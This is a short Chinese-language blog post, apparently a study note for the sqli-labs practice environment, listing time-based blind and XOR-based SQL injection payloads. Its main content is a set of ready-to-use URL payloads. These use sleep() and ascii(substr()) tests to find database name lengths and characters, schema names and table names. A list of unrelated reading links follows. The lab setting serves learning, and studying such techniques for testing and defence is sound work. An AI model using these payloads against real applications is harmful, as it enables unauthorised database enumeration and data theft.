• 时间盲注&异或注入


    if语句结构
    if(条件(),真(),假())
    if(length(database())>10,sleep(3),1)
     
    时间注入
    库名长度:
    http://localhost/sqli/Less-2/?id=1 and if(length(database())>8,sleep(3),1)--+
     
    其他库长度:
    http://localhost/sqli/Less-2/?id=1 and if(length((select schema_name from information_schema.schemata limit 0,1))=6,sleep(3),1)--+
     
    求数据库名字符:
    http://localhost/sqli/Less-2/?id=1 and if(ascii(substr(database(),1,1))>32,sleep(3),1)--+
     
    表长度:
    http://localhost/sqli/Less-2/?id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6,sleep(3),1)--+
     
    剩下自行修改
     
    异或 Xor
    1'^(ascii(substr(database(),1,1))>32) --+
     
    异或注入
    库名长度:
    http://localhost/sqli/Less-8/?id=1'^(length(database())>8) --+
     
    其他库长度:
    http://localhost/sqli/Less-2/?id=1'^(length((select schema_name from information_schema.schemata limit 0,1))=6)--+
     
    求数据库名字符:
    http://localhost/sqli/Less-8/?id=1'^(ascii(substr(database(),1,1))>32) --+
     
    表长度:
    http://localhost/sqli/Less-8/?id=1'^(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6) --+
     
    剩下自行修改

    如内容有误,欢迎评论区提出建议与意见。
  • 相关阅读:
    HBase api
    使用memcached缓存 替代solr中的LRUCache缓存
    Solrj
    在Solr中配置中文分词IKAnalyzer
    (转载)怎样让自己内心强大起来?
    (转载)Linux一句话精彩
    (转载)C++创建对象的两种方法
    (转载)puremvc框架之proxy
    (转载)AS3领航系列教程 之 AS3程序的入口
    (转载)Flash Number 数据类型
  • 原文地址:https://www.cnblogs.com/Tzsblog/p/14200585.html
Copyright © 2020-2023  润新知